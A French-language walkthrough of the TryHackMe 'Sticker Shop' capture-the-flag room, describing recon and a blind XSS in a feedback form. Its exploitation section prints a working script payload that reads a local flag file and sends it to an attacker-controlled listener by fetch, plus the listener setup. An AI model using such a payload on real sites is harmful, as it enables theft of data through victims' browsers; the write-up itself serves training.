THM Sticker Shop Walkthrough

THM Sticker Shop Walkthrough

Système : Linux | Difficulté : Facile | Exploitation : Blind XSS

Lien vers le challenge : The Sticker Shop




Description du Challenge

Votre boutique locale de stickers a enfin développé son propre site web. Cependant, les développeurs manquent d’expérience en développement web. Résultat : le site est développé et hébergé sur le même ordinateur que celui utilisé pour naviguer sur Internet et traiter les retours clients.

Description du challenge

Le but est d’exploiter le site pour lire le contenu du fichier flag situé à l’adresse suivante :

http://X.X.X.X:8080/flag.txt        

Reconnaissance

Analyse

Le site web se compose de deux pages : Home et Feedback.

  • La page Home, bien que visuellement agréable, n’a pas d’utilité réelle.
  • L’énumération n’a révélé ni répertoires supplémentaires ni sous-domaines sauf 2 ports ouverts 22 et 8080.

L’analyse doit donc se concentrer sur le formulaire de retour d’expérience (Feedback).


Contexte de la Vulnérabilité

Le formulaire Feedback permet aux utilisateurs de soumettre des commentaires. Ces données sont ensuite affichées dans le navigateur de l’équipe de gestion. Ce comportement expose l’application à une vulnérabilité de type Blind XSS.

En injectant du JavaScript malveillant dans le formulaire, un attaquant peut compromettre les données sensibles ou les fonctionnalités du système cible.


Processus d'Exploitation

1. Configuration d’un Listener

Pour capturer les données exfiltrées, un serveur HTTP est configuré sur la machine de l’attaquant :

python3 -m http.server 8000        

Ou bien, si vous utilisez toujours python2

python -m SimpleHTTPServer 8000        

Ce serveur écoute les requêtes entrantes contenant les données exfiltrées.


2. Création de la Charge Malveillante

L’objectif de l’attaque est double :

  1. Récupérer le contenu du fichier flag.txt situé sur http://127.0.0.1:8080/flag.txt.
  2. Envoyer les données récupérées vers le serveur de l’attaquant.

Voici la charge utile injectée :

'"><script>
     fetch('http://127.0.0.1:8080/flag.txt') 
         .then(response => response.text()) 
         .then(data => { fetch('http://<ADRESSE-IP-MA-MACHINE>:8000/?flag=' + encodeURIComponent(data)); }); 
</script>        

  • Cette charge utilise la fonction fetch pour récupérer le contenu de flag.txt.
  • Elle encode ensuite les données avant de les transmettre au serveur de l’attaquant via une requête GET.


Lecture du Flag

Le contenu de flag.txt est encodé en Base64. Pour le décoder, vous pouvez utiliser la commande suivante dans votre terminal :

echo <flag_base64> | base64 -d        

Alternativement, vous pouvez utiliser un outil en ligne tel que CyberChef ou dencode.com pour coller la chaîne encodée et obtenir la version décodée.

Identifiez-vous pour afficher ou ajouter un commentaire

Plus d’articles de Anas L.

Explorer les sujets